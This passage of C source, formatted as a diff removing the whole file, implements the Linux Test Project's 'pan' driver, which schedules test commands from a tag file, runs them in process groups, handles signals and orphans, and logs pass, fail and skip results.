yaberauneya Exp $ */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "splitstr.h" -#include "zoolib.h" -#include "tst_res_flags.h" - -/* One entry in the command line collection. */ -struct coll_entry { - char *name; /* tag name */ - char *cmdline; /* command line */ - char *pcnt_f; /* location of %f in the command line args, flag */ - struct coll_entry *next; -}; - -struct collection { - int cnt; - struct coll_entry **ary; -}; - -struct tag_pgrp { - int pgrp; - int stopping; - time_t mystime; - struct coll_entry *cmd; - char output[PATH_MAX]; -}; - -struct orphan_pgrp { - int pgrp; - struct orphan_pgrp *next; -}; - -static pid_t run_child(struct coll_entry *colle, struct tag_pgrp *active, - int quiet_mode, int *failcnt, int fmt_print, - FILE * logfile, int no_kmsg); -static char *slurp(char *file); -static struct collection *get_collection(char *file, int optind, int argc, - char **argv); -static void pids_running(struct tag_pgrp *running, int keep_active); -static int check_pids(struct tag_pgrp *running, int *num_active, - int keep_active, FILE * logfile, FILE * failcmdfile, - FILE *tconfcmdfile, struct orphan_pgrp *orphans, - int fmt_print, int *failcnt, int *tconfcnt, - int quiet_mode, int no_kmsg); -static void propagate_signal(struct tag_pgrp *running, int keep_active, - struct orphan_pgrp *orphans); -static void dump_coll(struct collection *coll); -static char *subst_pcnt_f(struct coll_entry *colle); -static void mark_orphan(struct orphan_pgrp *orphans, pid_t cpid); -static void orphans_running(struct orphan_pgrp *orphans); -static void check_orphans(struct orphan_pgrp *orphans, int sig); - -static void copy_buffered_output(struct tag_pgrp *running); -static void write_test_start(struct tag_pgrp *running, int no_kmsg); -static void write_test_end(struct tag_pgrp *running, const char *init_status, - time_t exit_time, char *term_type, int stat_loc, - int term_id, struct tms *tms1, struct tms *tms2); - -//wjh -static char PAN_STOP_FILE[] = "PAN_STOP_FILE"; - -static char *panname = NULL; -static char *test_out_dir = NULL; /* dir to buffer output to */ -zoo_t zoofile; -static char *reporttype = NULL; - -/* Common format string for ltp-pan results */ -#define ResultFmt "%-50s %-10.10s" - -/* zoolib */ -int rec_signal; /* received signal */ -int send_signal; /* signal to send */ - -/* Debug Bits */ -int Debug = 0; -#define Dbuffile 0x000400 /* buffer file use */ -#define Dsetup 0x000200 /* one-time set-up */ -#define Dshutdown 0x000100 /* killed by signal */ -#define Dexit 0x000020 /* exit status */ -#define Drunning 0x000010 /* current pids running */ -#define Dstartup 0x000004 /* started command */ -#define Dstart 0x000002 /* started command */ -#define Dwait 0x000001 /* wait interrupted */ - -int main(int argc, char **argv) -{ - extern char *optarg; - extern int optind; - char *zooname = NULL; /* name of the zoo file to use */ - char *filename = "/dev/null"; /* filename to read test tags from */ - char *logfilename = NULL; - char *failcmdfilename = NULL; - char *tconfcmdfilename = NULL; - char *outputfilename = NULL; - struct collection *coll = NULL; - struct tag_pgrp *running; - struct orphan_pgrp *orphans, *orph; - struct utsname unamebuf; - FILE *logfile = NULL; - FILE *failcmdfile = NULL; - FILE *tconfcmdfile = NULL; - int keep_active = 1; - int num_active = 0; - int failcnt = 0; /* count of total testcases that failed. */ - int tconfcnt = 0; /* count of total testcases that return TCONF */ - int err, i; - int starts = -1; - int timed = 0; - int run_time = -1; - char modifier = 'm'; - int ret = 0; - int stop; - int go_idle; - int has_brakes = 0; /* stop everything if a test case fails */ - int sequential = 0; /* run tests sequentially */ - int fork_in_road = 0; - int exit_stat; - int track_exit_stats = 0; /* exit non-zero if any test exits non-zero */ - int fmt_print = 0; /* enables formatted printing of logfiles. */ - int quiet_mode = 0; /* supresses test start and test end tags. */ - int no_kmsg = 0; /* don't log into /dev/kmsg */ - int c; - pid_t cpid; - struct sigaction sa; - - while ((c = - getopt(argc, argv, "AO:Sa:C:QT:d:ef:hl:n:o:pqr:s:t:x:y")) - != -1) { - switch (c) { - case 'A': /* all-stop flag */ - has_brakes = 1; - track_exit_stats = 1; - break; - case 'O': /* output buffering directory */ - test_out_dir = strdup(optarg); - break; - case 'S': /* run tests sequentially */ - sequential = 1; - break; - case 'a': /* name of the zoo file to use */ - zooname = strdup(optarg); - break; - case 'C': /* name of the file where all failed commands will be */ - failcmdfilename = strdup(optarg); - break; - case 'Q': - no_kmsg = 1; - break; - case 'T': - /* - * test cases that are not fully tested will be recorded - * in this file - */ - tconfcmdfilename = strdup(optarg); - break; - case 'd': /* debug options */ - sscanf(optarg, "%i", &Debug); - break; - case 'e': /* exit non-zero if any test exists non-zero */ - track_exit_stats = 1; - break; - case 'f': /* filename to read test tags from */ - filename = strdup(optarg); - break; - case 'h': /* help */ - fprintf(stdout, - "Usage: pan -n name [ -SyAehpqQ ] [ -s starts ]" - " [-t time[s|m|h|d] [ -x nactive ] [ -l logfile ]\n\t" - "[ -a active-file ] [ -f command-file ] " - "[ -C fail-command-file ] " - "[ -d debug-level ]\n\t[-o output-file] " - "[-O output-buffer-directory] [cmd]\n"); - exit(0); - case 'l': /* log file */ - logfilename = strdup(optarg); - break; - case 'n': /* tag given to pan */ - panname = strdup(optarg); - break; - case 'o': /* send test output here */ - outputfilename = strdup(optarg); - break; - case 'p': /* formatted printing. */ - fmt_print = 1; - break; - case 'q': /* supress test start and test end messages */ - quiet_mode = 1; - break; - case 'r': /* reporting type: none, rts */ - reporttype = strdup(optarg); - break; - case 's': /* number of tags to run */ - starts = atoi(optarg); - break; - case 't': /* run_time to run */ - ret = sscanf(optarg, "%d%c", &run_time, &modifier); - if (ret == 0) { - fprintf(stderr, - "Need proper time input: ####x where " - "x is one of s,m,h,d\n"); - break; - } else if (ret == 1) { - fprintf(stderr, "Only got a time value of %d " - "modifiers need to come immediately after #" - " assuming %c\n", run_time, modifier); - } else { - switch (modifier) { - case 's': - run_time = run_time; - break; - case 'm': - run_time = run_time * 60; - break; - case 'h': - run_time = run_time * 60 * 60; - break; - case 'd': - run_time = run_time * 60 * 60 * 24; - break; - default: - fprintf(stderr, - "Invalid time modifier, try: s|h|m|d\n"); - exit(-1); - } - if (!quiet_mode) - printf("PAN will run for %d seconds\n", - run_time); - } - timed = 1; //-t implies run as many starts as possible, by default - break; - case 'x': /* number of tags to keep running */ - keep_active = atoi(optarg); - break; - case 'y': /* restart on failure or signal */ - fork_in_road = 1; - break; - } - } - - if (panname == NULL) { - fprintf(stderr, "pan: Must supply -n\n"); - exit(1); - } - if (zooname == NULL) { - zooname = zoo_getname(); - if (zooname == NULL) { - fprintf(stderr, - "pan(%s): Must supply -a or set ZOO env variable\n", - panname); - exit(1); - } - } - if (reporttype) { - /* make sure we understand the report type */ - if (strcasecmp(reporttype, "rts") - && strcasecmp(reporttype, "none") - /* && strcasecmp(reporttype, "xml") */ - ) - reporttype = "rts"; - } else { - /* set the default */ - reporttype = "rts"; - } - - if (logfilename != NULL) { - time_t startup; - char *s; - - if (!strcmp(logfilename, "-")) { - logfile = stdout; - } else { - if ((logfile = fopen(logfilename, "a+e")) == NULL) { - fprintf(stderr, - "pan(%s): Error %s (%d) opening log file '%s'\n", - panname, strerror(errno), errno, - logfilename); - exit(1); - } - } - - time(&startup); - s = ctime(&startup); - *(s + strlen(s) - 1) = '\0'; - if (!fmt_print) - fprintf(logfile, "startup='%s'\n", s); - else { - fprintf(logfile, "Test Start Time: %s\n", s); - fprintf(logfile, - "-----------------------------------------\n"); - fprintf(logfile, ResultFmt" %-10.10s\n", - "Testcase", "Result", "Exit Value"); - fprintf(logfile, ResultFmt" %-10.10s\n", - "--------", "------", "------------"); - } - fflush(logfile); - } - - coll = get_collection(filename, optind, argc, argv); - if (!coll) - exit(1); - if (coll->cnt == 0) { - fprintf(stderr, - "pan(%s): Must supply a file collection or a command\n", - panname); - exit(1); - } - - if (Debug & Dsetup) - dump_coll(coll); - - /* a place to store the pgrps we're watching */ - running = - malloc((keep_active + 1) * - sizeof(struct tag_pgrp)); - if (running == NULL) { - fprintf(stderr, "pan(%s): Failed to allocate memory: %s\n", - panname, strerror(errno)); - exit(2); - } - memset(running, 0, keep_active * sizeof(struct tag_pgrp)); - running[keep_active].pgrp = -1; /* end sentinel */ - - /* a head to the orphaned pgrp list */ - orphans = malloc(sizeof(struct orphan_pgrp)); - memset(orphans, 0, sizeof(struct orphan_pgrp)); - - srand48(time(NULL) ^ (getpid() + (getpid() << 15))); - - /* Supply a default for starts. If we are in sequential mode, use - * the number of commands available; otherwise 1. - */ - if (timed == 1 && starts == -1) { /* timed, infinite by default */ - starts = -1; - } else if (starts == -1) { - if (sequential) { - starts = coll->cnt; - } else { - starts = 1; - } - } else if (starts == 0) { /* if the user specified infinite, set it */ - starts = -1; - } else { /* else, make sure we are starting at least keep_active processes */ - if (starts < keep_active) - starts = keep_active; - } - - /* if we're buffering output, but we're only running on process at a time, - * then essentially "turn off buffering" - */ - if (test_out_dir && (keep_active == 1)) { - free(test_out_dir); - test_out_dir = NULL; - } - - if (test_out_dir) { - struct stat sbuf; - - if (stat(test_out_dir, &sbuf) < 0) { - fprintf(stderr, - "pan(%s): stat of -O arg '%s' failed. errno: %d %s\n", - panname, test_out_dir, errno, strerror(errno)); - exit(1); - } - if (!S_ISDIR(sbuf.st_mode)) { - fprintf(stderr, - "pan(%s): -O arg '%s' must be a directory.\n", - panname, test_out_dir); - exit(1); - } - if (access(test_out_dir, W_OK | R_OK | X_OK) < 0) { - fprintf(stderr, - "pan(%s): permission denied on -O arg '%s'. errno: %d %s\n", - panname, test_out_dir, errno, strerror(errno)); - exit(1); - } - } - - if (outputfilename) { - if (!freopen(outputfilename, "a+", stdout)) { - fprintf(stderr, - "pan(%s): Error %s (%d) opening output file '%s'\n", - panname, strerror(errno), errno, - outputfilename); - exit(1); - } - } - - if (failcmdfilename) { - if (!(failcmdfile = fopen(failcmdfilename, "a+e"))) { - fprintf(stderr, - "pan(%s): Error %s (%d) opening fail cmd file '%s'\n", - panname, strerror(errno), errno, - failcmdfilename); - exit(1); - } - } - - if (tconfcmdfilename) { - tconfcmdfile = fopen(tconfcmdfilename, "a+e"); - if (!tconfcmdfile) { - fprintf(stderr, "pan(%s): Error %s (%d) opening " - "tconf cmd file '%s'\n", panname, - strerror(errno), errno, tconfcmdfilename); - exit(1); - } - } - - if ((zoofile = zoo_open(zooname)) == NULL) { - fprintf(stderr, "pan(%s): %s\n", panname, zoo_error); - exit(1); - } - if (zoo_mark_args(zoofile, getpid(), panname, argc, argv)) { - fprintf(stderr, "pan(%s): %s\n", panname, zoo_error); - exit(1); - } - - /* Allocate N spaces for max-arg commands. - * this is an "active file cleanliness" thing - */ - { - for (c = 0; c < keep_active; c++) { - if (zoo_mark_cmdline(zoofile, c, panname, "")) { - fprintf(stderr, "pan(%s): %s\n", panname, - zoo_error); - exit(1); - } - } - for (c = 0; c < keep_active; c++) { - if (zoo_clear(zoofile, c)) { - fprintf(stderr, "pan(%s): %s\n", panname, - zoo_error); - exit(1); - } - } - } - - rec_signal = send_signal = 0; - if (run_time != -1) { - alarm(run_time); - } - - sigemptyset(&sa.sa_mask); - sa.sa_flags = 0; - sa.sa_handler = wait_handler; - - sigaction(SIGALRM, &sa, NULL); - sigaction(SIGINT, &sa, NULL); - sigaction(SIGTERM, &sa, NULL); - sigaction(SIGHUP, &sa, NULL); - sigaction(SIGUSR1, &sa, NULL); /* ignore fork_in_road */ - sigaction(SIGUSR2, &sa, NULL); /* stop the scheduler */ - - c = 0; /* in this loop, c is the command index */ - stop = 0; - exit_stat = 0; - go_idle = 0; - while (1) { - - while ((num_active < keep_active) && (starts != 0)) { - if (stop || rec_signal || go_idle) - break; - - if (!sequential) - c = lrand48() % coll->cnt; - - /* find a slot for the child */ - for (i = 0; i < keep_active; ++i) { - if (running[i].pgrp == 0) - break; - } - if (i == keep_active) { - fprintf(stderr, - "pan(%s): Aborting: i == keep_active = %d\n", - panname, i); - wait_handler(SIGINT); - exit_stat++; - break; - } - - cpid = - run_child(coll->ary[c], running + i, quiet_mode, - &failcnt, fmt_print, logfile, no_kmsg); - if (cpid != -1) - ++num_active; - if ((cpid != -1 || sequential) && starts > 0) - --starts; - - if (sequential) - if (++c >= coll->cnt) - c = 0; - - } /* while ((num_active < keep_active) && (starts != 0)) */ - - if (starts == 0) { - if (!quiet_mode) - printf("incrementing stop\n"); - ++stop; - } else if (starts == -1) //wjh - { - FILE *f = (FILE *) - 1; - if ((f = fopen(PAN_STOP_FILE, "r")) != 0) { - printf("Got %s Stopping!\n", PAN_STOP_FILE); - fclose(f); - unlink(PAN_STOP_FILE); - stop++; - } - } - - if (rec_signal) { - /* propagate everything except sigusr2 */ - - if (rec_signal == SIGUSR2) { - if (fork_in_road) - ++go_idle; - else - ++stop; - rec_signal = send_signal = 0; - } else { - if (rec_signal == SIGUSR1) - fork_in_road = 0; - propagate_signal(running, keep_active, orphans); - if (fork_in_road) - ++go_idle; - else - ++stop; - } - } - - err = check_pids(running, &num_active, keep_active, logfile, - failcmdfile, tconfcmdfile, orphans, fmt_print, - &failcnt, &tconfcnt, quiet_mode, no_kmsg); - if (Debug & Drunning) { - pids_running(running, keep_active); - orphans_running(orphans); - } - if (err) { - if (fork_in_road) - ++go_idle; - if (track_exit_stats) - exit_stat++; - if (has_brakes) { - fprintf(stderr, "pan(%s): All stop!%s\n", - panname, go_idle ? " (idling)" : ""); - wait_handler(SIGINT); - } - } - - if (stop && (num_active == 0)) - break; - - if (go_idle && (num_active == 0)) { - go_idle = 0; /* It is idle, now resume scheduling. */ - wait_handler(0); /* Reset the signal ratchet. */ - } - } - - /* Wait for orphaned pgrps */ - while (1) { - for (orph = orphans; orph != NULL; orph = orph->next) { - if (orph->pgrp == 0) - continue; - /* Yes, we have orphaned pgrps */ - sleep(5); - if (!rec_signal) { - /* force an artificial signal, move us - * through the signal ratchet. - */ - wait_handler(SIGINT); - } - propagate_signal(running, keep_active, orphans); - if (Debug & Drunning) - orphans_running(orphans); - break; - } - if (orph == NULL) - break; - } - - if (zoo_clear(zoofile, getpid())) { - fprintf(stderr, "pan(%s): %s\n", panname, zoo_error); - ++exit_stat; - } - fclose(zoofile); - if (logfile && fmt_print) { - if (uname(&unamebuf) == -1) - fprintf(stderr, "ERROR: uname(): %s\n", - strerror(errno)); - fprintf(logfile, - "\n-----------------------------------------------\n"); - fprintf(logfile, "Total Tests: %d\n", coll->cnt); - fprintf(logfile, "Total Skipped Tests: %d\n", tconfcnt); - fprintf(logfile, "Total Failures: %d\n", failcnt); - fprintf(logfile, "Kernel Version: %s\n", unamebuf.release); - fprintf(logfile, "Machine Architecture: %s\n", - unamebuf.machine); - fprintf(logfile, "Hostname: %s\n\n", unamebuf.nodename); - } - if (logfile && (logfile != stdout)) - fclose(logfile); - - if (failcmdfile) - fclose(failcmdfile); - - if (tconfcmdfile) - fclose(tconfcmdfile); - exit(exit_stat); -} - -static void -propagate_signal(struct tag_pgrp *running, int keep_active, - struct orphan_pgrp *orphans) -{ - int i; - - if (Debug & Dshutdown) - fprintf(stderr, "pan was signaled with sig %d...\n", - rec_signal); - - if (rec_signal == SIGALRM) { - printf("PAN stop Alarm was received\n"); - rec_signal = SIGTERM; - } - - for (i = 0; i < keep_active; ++i) { - if (running[i].pgrp == 0) - continue; - - if (Debug & Dshutdown) - fprintf(stderr, " propagating sig %d to %d\n", - send_signal, -running[i].pgrp); - if (kill(-running[i].pgrp, send_signal) != 0) { - fprintf(stderr, - "pan(%s): kill(%d,%d) failed on tag (%s). errno:%d %s\n", - panname, -running[i].pgrp, send_signal, - running[i].cmd->name, errno, strerror(errno)); - } - running[i].stopping = 1; - } - - check_orphans(orphans, send_signal); - - rec_signal = send_signal = 0; -} - -static int -check_pids(struct tag_pgrp *running, int *num_active, int keep_active, - FILE *logfile, FILE *failcmdfile, FILE *tconfcmdfile, - struct orphan_pgrp *orphans, int fmt_print, int *failcnt, - int *tconfcnt, int quiet_mode, int no_kmsg) -{ - int w; - pid_t cpid; - int stat_loc; - int ret = 0; - int i; - time_t t; - char *status; - char *result_str; - int signaled = 0; - struct tms tms1, tms2; - clock_t tck; - - check_orphans(orphans, 0); - - tck = times(&tms1); - if (tck == -1) { - fprintf(stderr, "pan(%s): times(&tms1) failed. errno:%d %s\n", - panname, errno, strerror(errno)); - } - cpid = wait(&stat_loc); - tck = times(&tms2); - if (tck == -1) { - fprintf(stderr, "pan(%s): times(&tms2) failed. errno:%d %s\n", - panname, errno, strerror(errno)); - } - - if (cpid < 0) { - if (errno == EINTR) { - if (Debug) - fprintf(stderr, "pan(%s): wait() interrupted\n", - panname); - } else if (errno != ECHILD) { - fprintf(stderr, - "pan(%s): wait() failed. errno:%d %s\n", - panname, errno, strerror(errno)); - } - } else if (cpid > 0) { - - if (WIFSIGNALED(stat_loc)) { - w = WTERMSIG(stat_loc); - status = "signaled"; - if (Debug & Dexit) - fprintf(stderr, - "child %d terminated with signal %d\n", - cpid, w); - --*num_active; - signaled = 1; - } else if (WIFEXITED(stat_loc)) { - w = WEXITSTATUS(stat_loc); - status = "exited"; - if (Debug & Dexit) - fprintf(stderr, - "child %d exited with status %d\n", - cpid, w); - --*num_active; - if (w != 0 && w != TCONF) - ret++; - } else if (WIFSTOPPED(stat_loc)) { /* should never happen */ - w = WSTOPSIG(stat_loc); - status = "stopped"; - ret++; - } else { /* should never happen */ - w = 0; - status = "unknown"; - ret++; - } - - for (i = 0; i < keep_active; ++i) { - if (running[i].pgrp == cpid) { - if ((w == 130) && running[i].stopping && - (strcmp(status, "exited") == 0)) { - /* The child received sigint, but - * did not trap for it? Compensate - * for it here. - */ - w = 0; - ret--; /* undo */ - if (Debug & Drunning) - fprintf(stderr, - "pan(%s): tag=%s exited 130, known to be signaled; will give it an exit 0.\n", - panname, - running[i].cmd->name); - } - time(&t); - if (logfile != NULL) { - if (!fmt_print) - fprintf(logfile, - "tag=%s stime=%d dur=%d exit=%s stat=%d core=%s cu=%d cs=%d\n", - running[i].cmd->name, - (int)(running[i]. - mystime), - (int)(t - - running[i]. - mystime), status, - w, - (stat_loc & 0200) ? - "yes" : "no", - (int)(tms2.tms_cutime - - tms1.tms_cutime), - (int)(tms2.tms_cstime - - tms1.tms_cstime)); - else { - if (strcmp(status, "exited") == - 0 && w == TCONF) { - ++*tconfcnt; - result_str = "CONF"; - } else if (w != 0) { - ++*failcnt; - result_str = "FAIL"; - } else { - result_str = "PASS"; - } - - fprintf(logfile, - ResultFmt" %-5d\n", - running[i].cmd->name, - result_str, - w); - } - - fflush(logfile); - } - - if (w != 0) { - if (tconfcmdfile != NULL && - w == TCONF) { - fprintf(tconfcmdfile, "%s %s\n", - running[i].cmd->name, - running[i].cmd->cmdline); - } else if (failcmdfile != NULL) { - fprintf(failcmdfile, "%s %s\n", - running[i].cmd->name, - running[i].cmd->cmdline); - } - } - - if (running[i].stopping) - status = "driver_interrupt"; - - if (test_out_dir) { - if (!quiet_mode) - write_test_start(running + i, no_kmsg); - copy_buffered_output(running + i); - unlink(running[i].output); - } - if (!quiet_mode) - write_test_end(running + i, "ok", t, - status, stat_loc, w, - &tms1, &tms2); - - /* If signaled and we weren't expecting - * this to be stopped then the proc - * had a problem. - */ - if (signaled && !running[i].stopping) - ret++; - - running[i].pgrp = 0; - if (zoo_clear(zoofile, cpid)) { - fprintf(stderr, "pan(%s): %s\n", - panname, zoo_error); - exit(1); - } - - /* Check for orphaned pgrps */ - if ((kill(-cpid, 0) == 0) || (errno == EPERM)) { - if (zoo_mark_cmdline - (zoofile, cpid, "panorphan", - running[i].cmd->cmdline)) { - fprintf(stderr, "pan(%s): %s\n", - panname, zoo_error); - exit(1); - } - mark_orphan(orphans, cpid); - /* status of kill doesn't matter */ - kill(-cpid, SIGTERM); - } - - break; - } - } - } - return ret; -} - -static pid_t -run_child(struct coll_entry *colle, struct tag_pgrp *active, int quiet_mode, - int *failcnt, int fmt_print, FILE * logfile, int no_kmsg) -{ - ssize_t errlen; - int cpid; - int c_stdout = -1; /* child's stdout, stderr */ - int capturing = 0; /* output is going to a file instead of stdout */ - char *c_cmdline; - static long cmdno = 0; - int errpipe[2]; /* way to communicate to parent that the tag */ - char errbuf[1024]; /* didn't actually start */ - - /* Try to open the file that will be stdout for the test */ - if (test_out_dir) { - capturing = 1; - do { - sprintf(active->output, "%s/%s.%ld", - test_out_dir, colle->name, cmdno++); - c_stdout = - open(active->output, - O_CREAT | O_RDWR | O_EXCL | O_SYNC, 0666); - } while (c_stdout < 0 && errno == EEXIST); - if (c_stdout < 0) { - fprintf(stderr, - "pan(%s): open of stdout file failed (tag %s). errno: %d %s\n file: %s\n", - panname, colle->name, errno, strerror(errno), - active->output); - return -1; - } - } - - /* get the tag's command line arguments ready. subst_pcnt_f() uses a - * static counter, that's why we do it here instead of after we fork. - */ - if (colle->pcnt_f) { - c_cmdline = subst_pcnt_f(colle); - } else { - c_cmdline = colle->cmdline; - } - - if (pipe(errpipe) < 0) { - fprintf(stderr, "pan(%s): pipe() failed. errno:%d %s\n", - panname, errno, strerror(errno)); - if (capturing) { - close(c_stdout); - unlink(active->output); - } - return -1; - } - - time(&active->mystime); - active->cmd = colle; - - if (!test_out_dir && !quiet_mode) - write_test_start(active, no_kmsg); - - fflush(NULL); - - if ((cpid = fork()) == -1) { - fprintf(stderr, - "pan(%s): fork failed (tag %s). errno:%d %s\n", - panname, colle->name, errno, strerror(errno)); - if (capturing) { - unlink(active->output); - close(c_stdout); - } - close(errpipe[0]); - close(errpipe[1]); - return -1; - } else if (cpid == 0) { - /* child */ - - fclose(zoofile); - close(errpipe[0]); - fcntl(errpipe[1], F_SETFD, 1); /* close the pipe if we succeed */ - setpgrp(); - - umask(0); - -#define WRITE_OR_DIE(fd, buf, buflen) do { \ - if (write((fd), (buf), (buflen)) != (buflen)) { \ - err(1, "failed to write out %zd bytes at line %d", \ - buflen, __LINE__); \ - } \ -} while(0) - - /* if we're putting output into a buffer file, we need to do the - * redirection now. If we fail - */ - if (capturing) { - if (dup2(c_stdout, fileno(stdout)) == -1) { - errlen = - sprintf(errbuf, - "pan(%s): couldn't redirect stdout for tag %s. errno:%d %s", - panname, colle->name, errno, - strerror(errno)); - WRITE_OR_DIE(errpipe[1], &errlen, - sizeof(errlen)); - WRITE_OR_DIE(errpipe[1], errbuf, errlen); - exit(2); - } - if (dup2(c_stdout, fileno(stderr)) == -1) { - errlen = - sprintf(errbuf, - "pan(%s): couldn't redirect stderr for tag %s. errno:%d %s", - panname, colle->name, errno, - strerror(errno)); - WRITE_OR_DIE(errpipe[1], &errlen, - sizeof(errlen)); - WRITE_OR_DIE(errpipe[1], errbuf, errlen); - exit(2); - } - } else { /* stderr still needs to be redirected */ - if (dup2(fileno(stdout), fileno(stderr)) == -1) { - errlen = - sprintf(errbuf, - "pan(%s): couldn't redirect stderr for tag %s. errno:%d %s", - panname, colle->name, errno, - strerror(errno)); - WRITE_OR_DIE(errpipe[1], &errlen, - sizeof(errlen)); - WRITE_OR_DIE(errpipe[1], errbuf, errlen); - exit(2); - } - } - /* If there are any shell-type characters in the cmdline - * such as '>', '<', '$', '|', etc, then we exec a shell and - * run the cmd under a shell. - * - * Otherwise, break the cmdline at white space and exec the - * cmd directly. - */ - if (strpbrk(c_cmdline, "\"';|<>$\\")) { - execlp("sh", "sh", "-c", c_cmdline, NULL); - errlen = sprintf(errbuf, - "pan(%s): execlp of '%s' (tag %s) failed. errno:%d %s", - panname, c_cmdline, colle->name, errno, - strerror(errno)); - } else { - char **arg_v; - - arg_v = (char **)splitstr(c_cmdline, NULL, NULL); - - execvp(arg_v[0], arg_v); - errlen = sprintf(errbuf, - "pan(%s): execvp of '%s' (tag %s) failed. errno:%d %s", - panname, arg_v[0], colle->name, errno, - strerror(errno)); - } - WRITE_OR_DIE(errpipe[1], &errlen, sizeof(errlen)); - WRITE_OR_DIE(errpipe[1], errbuf, errlen); - exit(errno); - } - - /* parent */ - - /* subst_pcnt_f() allocates the command line dynamically - * free the malloc to prevent a memory leak - */ - if (colle->pcnt_f) - free(c_cmdline); - - close(errpipe[1]); - - /* if the child couldn't go through with the exec, - * clean up the mess, note it, and move on - */ - if (read(errpipe[0], &errlen, sizeof(errlen))) { - int status; - time_t end_time; - int termid; - char *termtype; - struct tms notime = { 0, 0, 0, 0 }; - - if (read(errpipe[0], errbuf, errlen) < 0) - fprintf(stderr, "Failed to read from errpipe[0]\n"); - close(errpipe[0]); - errbuf[errlen] = '\0'; - /* fprintf(stderr, "%s", errbuf); */ - waitpid(cpid, &status, 0); - if (WIFSIGNALED(status)) { - termid = WTERMSIG(status); - termtype = "signaled"; - } else if (WIFEXITED(status)) { - termid = WEXITSTATUS(status); - termtype = "exited"; - } else if (WIFSTOPPED(status)) { - termid = WSTOPSIG(status); - termtype = "stopped"; - } else { - termid = 0; - termtype = "unknown"; - } - time(&end_time); - if (logfile != NULL) { - if (!fmt_print) { - fprintf(logfile, - "tag=%s stime=%d dur=%d exit=%s " - "stat=%d core=%s cu=%d cs=%d\n", - colle->name, (int)(active->mystime), - (int)(end_time - active->mystime), - termtype, termid, - (status & 0200) ? "yes" : "no", 0, 0); - } else { - if (termid != 0) - ++ * failcnt; - - fprintf(logfile, ResultFmt" %-5d\n", - colle->name, - ((termid != 0) ? "FAIL" : "PASS"), - termid); - } - fflush(logfile); - } - - if (!quiet_mode) { - write_test_end(active, errbuf, end_time, termtype, - status, termid, ¬ime, ¬ime); - } - if (capturing) { - close(c_stdout); - unlink(active->output); - } - return -1; - } - - close(errpipe[0]); - if (capturing) - close(c_stdout); - - active->pgrp = cpid; - active->stopping = 0; - - if (zoo_mark_cmdline(zoofile, cpid, colle->name, colle->cmdline)) { - fprintf(stderr, "pan(%s): %s\n", panname, zoo_error); - exit(1); - } - - if (Debug & Dstartup) - fprintf(stderr, "started %s cpid=%d at %s", - colle->name, cpid, ctime(&active->mystime)); - - if (Debug & Dstart) { - fprintf(stderr, "Executing test = %s as %s", colle->name, - colle->cmdline); - if (capturing) - fprintf(stderr, "with output file = %s\n", - active->output); - else - fprintf(stderr, "\n"); - } - - return cpid; -} - -static char *subst_pcnt_f(struct coll_entry *colle) -{ - static int counter = 1; - char pid_and_counter[20]; - char new_cmdline[1024]; - - /* if we get called falsely, do the right thing anyway */ - if (!colle->pcnt_f) - return colle->cmdline; - - snprintf(pid_and_counter, 20, "%d_%d", getpid(), counter++); - snprintf(new_cmdline, 1024, colle->cmdline, pid_and_counter); - return strdup(new_cmdline); -} - -static struct collection *get_collection(char *file, int optind, int argc, - char **argv) -{ - char *buf, *a, *b; - struct coll_entry *head, *p, *n; - struct collection *coll; - int i; - - buf = slurp(file); - if (!buf) - return NULL; - - coll = malloc(sizeof(struct collection)); - coll->cnt = 0; - - head = p = n = NULL; - a = b = buf; - while (a) { - /* set b to the start of the next line and add a NULL character - * to separate the two lines */ - if ((b = strchr(a, '\n')) != NULL) - *b++ = '\0'; - - /* If this is line isn't a comment */ - if ((*a != '#') && (*a != '\0') && (*a != ' ')) { - n = malloc(sizeof(struct coll_entry)); - if ((n->pcnt_f = strstr(a, "%f"))) { - n->pcnt_f[1] = 's'; - } - n->name = strdup(strsep(&a, " \t")); - while (a != NULL && isspace(*a)) - a++; - if (a == NULL || a[0] == 0) { - fprintf(stderr, - "pan(%s): Testcase '%s' requires a command to execute.\n", - panname, n->name); - return NULL; - } - n->cmdline = strdup(a); - n->next = NULL; - - if (p) { - p->next = n; - } - if (head == NULL) { - head = n; - } - p = n; - coll->cnt++; - } - a = b; - } - free(buf); - - /* is there something on the commandline to be counted? */ - if (optind < argc) { - char workstr[1024] = ""; - int workstr_left = 1023; - - /* fill arg list */ - for (i = 0; optind < argc; ++optind, ++i) { - strncat(workstr, argv[optind], workstr_left); - workstr_left = workstr_left - strlen(argv[optind]); - strncat(workstr, " ", workstr_left); - workstr_left--; - } - - n = malloc(sizeof(struct coll_entry)); - if ((n->pcnt_f = strstr(workstr, "%f"))) { - n->pcnt_f[1] = 's'; - } - n->cmdline = strdup(workstr); - n->name = "cmdln"; - n->next = NULL; - if (p) { - p->next = n; - } - if (head == NULL) { - head = n; - } - coll->cnt++; - } - - /* get an array */ - coll->ary = malloc(coll->cnt * sizeof(struct coll_entry *)); - - /* fill the array */ - i = 0; - n = head; - while (n != NULL) { - coll->ary[i] = n; - n = n->next; - ++i; - } - if (i != coll->cnt) - fprintf(stderr, "pan(%s): i doesn't match cnt\n", panname); - - return coll; -} - -static char *slurp(char *file) -{ - char *buf; - int fd; - struct stat sbuf; - - if ((fd = open(file, O_RDONLY)) < 0) { - fprintf(stderr, - "pan(%s): open(%s,O_RDONLY) failed. errno:%d %s\n", - panname, file, errno, strerror(errno)); - return NULL; - } - - if (fstat(fd, &sbuf) < 0) { - fprintf(stderr, "pan(%s): fstat(%s) failed. errno:%d %s\n", - panname, file, errno, strerror(errno)); - return NULL; - } - - buf = malloc(sbuf.st_size + 1); - if (read(fd, buf, sbuf.st_size) != sbuf.st_size) { - fprintf(stderr, "pan(%s): slurp failed. errno:%d %s\n", - panname, errno, strerror(errno)); - free(buf); - return NULL; - } - buf[sbuf.st_size] = '\0'; - - close(fd); - return buf; -} - -static void check_orphans(struct orphan_pgrp *orphans, int sig) -{ - struct orphan_pgrp *orph; - - for (orph = orphans; orph != NULL; orph = orph->next) { - if (orph->pgrp == 0) - continue; - - if (Debug & Dshutdown) - fprintf(stderr, - " propagating sig %d to orphaned pgrp %d\n", - sig, -(orph->pgrp)); - if (kill(-(orph->pgrp), sig) != 0) { - if (errno == ESRCH) { - /* This pgrp is now empty */ - if (zoo_clear(zoofile, orph->pgrp)) { - fprintf(stderr, "pan(%s): %s\n", - panname, zoo_error); - } - orph->pgrp = 0; - } else { - fprintf(stderr, - "pan(%s): kill(%d,%d) on orphaned pgrp failed. errno:%d %s\n", - panname, -(orph->pgrp), sig, errno, - strerror(errno)); - } - } - } -} - -static void mark_orphan(struct orphan_pgrp *orphans, pid_t cpid) 